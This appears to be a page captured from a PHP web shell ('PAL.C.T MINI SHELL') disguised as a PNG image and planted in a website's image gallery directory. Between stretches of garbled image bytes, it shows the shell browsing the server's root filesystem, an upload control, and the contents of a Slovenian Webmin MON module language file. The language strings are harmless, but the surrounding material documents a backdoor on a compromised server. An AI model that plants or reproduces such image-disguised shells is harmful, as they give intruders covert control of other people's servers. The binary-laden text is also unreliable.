php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/mon/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/mon/lang/sl.auto

index_title=MON Service Monitor
index_return=MON indeks
index_edir=Imenik MON $1 ne obstaja. Morda MON ni nameščen ali pa je vaša <a href='$2'>konfiguracija modula</a> napačna.
mon_global_title=Konfiguracija globalnih spremenljivk
mon_conf_title=Osnovna konfiguracija
mon_status_title=Operativni status
hostgroups_title=Konfiguracija MON-skupine gostiteljev
services_title=Skupine gledalcev - definicije storitev

head_hostgroups=Gostiteljske skupine in storitve
head_groups=Ime gostiteljske skupine
head_members=Člani gostiteljske skupine
head_services=Storitve gostiteljske skupine za ogled
head_service=Služba za gledanje
head_param=Storitveni parametri
head_watch=Pazi na skupino?
head_monauth=Navedite pristnost za MONCMD
head_usr=Uporabniško ime
head_pass=Geslo
head_mand=(Parametri v "RDEČI BARVI" so obvezni)

err_nomon=paket 'mon' ni nameščen v sistemu
err_nomonconf=Konfiguracijske datoteke MON $1 v vašem sistemu ni bilo mogoče najti. Morda MON ni nameščen ali pa je vaša <a href='$2'>konfiguracija modula</a> napačna.
err_nowatch=Nobena skupina za gledanje ni izbrana. Za nadaljevanje izberite vsaj eno skupino gledalcev.
err_noserv=Za skupino gledalcev ni izbranih nobenih storitev
err_nomemb=Za opazovalno skupino ni izbranih gostiteljev/članov
err_monrun=MON ne deluje na domači stroji. Začnite MON.
stop_err=MON ni bilo mogoče ustaviti
stop_epid=Ne teče več
start_err=MON ni bilo mogoče zagnati
restart_err=Znova ni bilo mogoče zagnati MON
restart_epid=PID ni bilo mogoče dobiti

other=Drugo (prostor ločen)
next=Naslednji
mon_stat=Status MON
mon_off=Storitve MON se niso začele
mon_start=Zaženite storitve MON
mon_stop=Ustavite storitve MON
mon_restart=Znova zaženite storitve MON
mon_startdesc=Kliknite ta gumb za zagon strežnika MON. Dokler se ne zažene, konfigurirano spremljanje ne bo izvedeno.
mon_stopdesc=Kliknite ta gumb, da zaustavite strežnik MON. Ko se ustavi, konfigurirano spremljanje preneha.
mon_restartdesc=Kliknite ta gumb, če želite uporabiti trenutno konfiguracijo MON s ponovnim zagonom strežniškega postopka.
line=(po eno v vsaki vrstici)
save_apply=Shrani in uveljavi
watch=Skupina za opazovanje
members=Člani
def_perargs=wd {Sat-Ned}

def_desc=opis
def_inter=interval
def_mon=monitor
def_dep=odvisna
def_per=obdobje
def_alert=opozorilo
def_alertevr=opozorilo
def_alertaft=opozorilo
def_alertstr=startupalert
def_allow=dovoli_emprazno_skupino
def_traptime=traptimeout
def_trapdur=trapduracija
def_rand=randskew
def_exclhost=izključi_hostove
def_exclper=izključi_period

groups_title=Skupine gostiteljev
groups_group=Ime skupine
groups_members=Člani gostitelji

watches_title=Glejte sezname
watches_group=Gledalna skupina
watches_services=Storitve, ki jih gledajo
watches_sadd=Dodaj storitev ..
watches_add=Dodaj skupino ogledov za skupino :
watches_return=seznami ogledov
watches_none=Še ni določen seznam ogledov.

global_title=Globalne možnosti
global_header=Možnosti globalne konfiguracije MON
global_maxprocs=Največje procese MON
global_histlength=Dolžina zgodovine dogodkov
global_alertdir=Imenik programov opozoril
global_mondir=Spremljajte imenik programov
global_authtype=Vrsta preverjanja pristnosti
global_authtype_=Privzeto
global_authtype_getpwnam=Sistemski klici
global_authtype_userfile=Datoteka MON uporabniki
global_authtype_shadow=Datoteka s sencami
global_userfile=Datoteka uporabnika MON
global_emaxprocs=Manjkajoče ali neveljavno število postopkov MON
global_ehistlength=Dolžina zgodovine dogodkov manjka ali ni veljavna
global_ealertdir=Imenik manjkajočih ali neveljavnih programov opozoril
global_emondir=Imenik manjkajočih ali neveljavnih nadzornih programov
global_euserfile=Manjkajoča datoteka uporabnikov MON

watch_title=Uredi seznam ogledov
watch_header=Podrobnosti o ure gostiteljske skupine
watch_group=Gostiteljska skupina za ogled
watch_services=Storitve, ki jih gledajo
watch_service=Ime storitve
watch_monitor=Monitor uporabljati
watch_interval=Preverite vsakega
watch_periods=Obdobje spremljanja

service_title=Dodaj storitev
service_title2=Storitev urejanja
service_header=Podrobnosti o gledanih storitvah
service_name=Ime storitve
service_interval=Preverite vsakega
service_desc=Opis
service_units_s=sekund
service_units_m=minut
service_units_h=ure
service_units_d=dnevi
service_units_w=tednov
service_monitor=Uporaba monitorja
service_mon1=Standardni monitor
service_mon0=Drugi monitor ..
service_args=Parametri monitorja
service_period=Obdobje spremljanja $1 
service_days=Dnevi za preverjanje
service_hours=Ure za preverjanje
service_all=Vse
service_pstr=Specifikacija obdobja
service_new=Novo obdobje spremljanja
service_alerts=Opozorila za obdobje
service_alert=Opozorilo
service_atype=Teči, ko
service_atype_alert=Storitev upada
service_atype_upalert=Storitve se pojavijo
service_atype_startupalert=MON se zažene
service_aargs=Dodatni parametri
service_every=Pošlji opozorilo
service_every_def=Vsakič, ko se monitor zažene
service_every_time=Vsak
service_num=Največje opozorilo za pošiljanje
service_unlimited=Neomejeno
service_after=Napake pred opozorilom
service_immediate=Takoj
service_after_num=Po $1 odpovedi
service_aftertime=V časovnem intervalu
service_newperiod=Dodajte novo obdobje
service_delperiod=Izbrišite to obdobje
service_err=Storitve ni bilo mogoče shraniti
service_ename=Manjkajoče ali neveljavno ime storitve
service_einterval=Manjkajoč ali neveljaven interval preverjanja
service_eother=Manjkajoči ali neveljaven monitor
service_ehour=Manjkajoča ali neveljavna ura za obdobje $1 (mora biti ob 9.00 ali 17.00)
service_eperiod=Za obdobje $1 ni določenih dni ali ur
service_eevery=Manjkajoči ali neveljaven interval opozorila za storitve
service_eafter=Manjkajoče ali neveljavno število napak pred opozorilom
service_enum=Manjkajoča ali neveljavna največja opozorila, poslana
service_epstr=Specifikacija manjkajočega obdobja
service_known0=<tt>Čas::Obdobje</tt>
service_known1=Določeni dnevi in ure
service_known2=Določeno obdobje

status_title=Status MON
status_ecgi=Program CGI statusa MON $1 ne obstaja. Mogoče ni nameščen ali pa je vaša <a href='$2'>konfiguracija modula</a> napačna.
status_eperl=Program CGI statusa MON zahteva modul $1 perl. <a href='$2'>Kliknite tukaj</a>, da ga namestite neposredno iz CPAN-a.
status_esame=Program CGI statusa MON $1 je v tem modulu Webmin nastavljen na skript <tt>mon.cgi</tt> in ne program CGI, ki je priložen MON. Prilagodite konfiguracijo modula <a href='$2'></a> za uporabo pravilne poti.

users_title=Uporabniki MON
users_etype=Seznam uporabnikov MON ni mogoče urediti, ker MON trenutno ni konfiguriran, da bi ga uporabljal za preverjanje pristnosti na strani <a href='$1'>Globalne možnosti</a>.
users_header=Dovoljeni uporabniki MON v $1 
users_nousers=V $1 ni bilo opredeljenih nobenih MON uporabnikov.
users_add=Ustvari novega uporabnika.
users_return=Seznam uporabnikov MON

user_create=Ustvari MON uporabnika
user_edit=Uredi MON uporabnika
user_header=Podatki o uporabniku MON
user_user=Uporabniško ime
user_pass=Geslo
user_leave=Pustite nespremenjene
user_err=Uporabnika ni bilo mogoče shraniti
user_euser=Manjkajoče ali neveljavno uporabniško ime
user_esame=Uporabnik z istim imenom že obstaja

auth_title=Ukazi odjemalca
auth_desc=Na tej strani lahko nadzorujete, katere ukaze MON lahko izvajajo uporabniki, ki uporabljajo uporabniške programe.
auth_cmd=Ukaz MON
auth_users=Dovoljeni uporabniki
auth_none=Nihče
auth_all=Vsi
auth_sel=Samo uporabniki
auth_err=Ni bilo mogoče shraniti ukazov odjemalca
auth_eusers=Za ukaz $1 ni nobenega uporabnika

periods_title=Določena obdobja
periods_period=Ime obdobja
periods_times=Dnevi in časi
periods_alldays=Vse dni
periods_allhours=Vse ure
periods_err=V določenih obdobjih ni bilo mogoče shraniti
periods_ename='$1' ni veljavno ime obdobja
periods_ehour=Manjkajoča ali neveljavna ura za obdobje $1 (mora biti ob 9.00 ali 17.00)

show_title=Operativni status
show_ecgi=Program statusa MON $1 ne obstaja. Mogoče ni nameščen ali pa je vaša <a href='$2'>konfiguracija modula</a> napačna.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`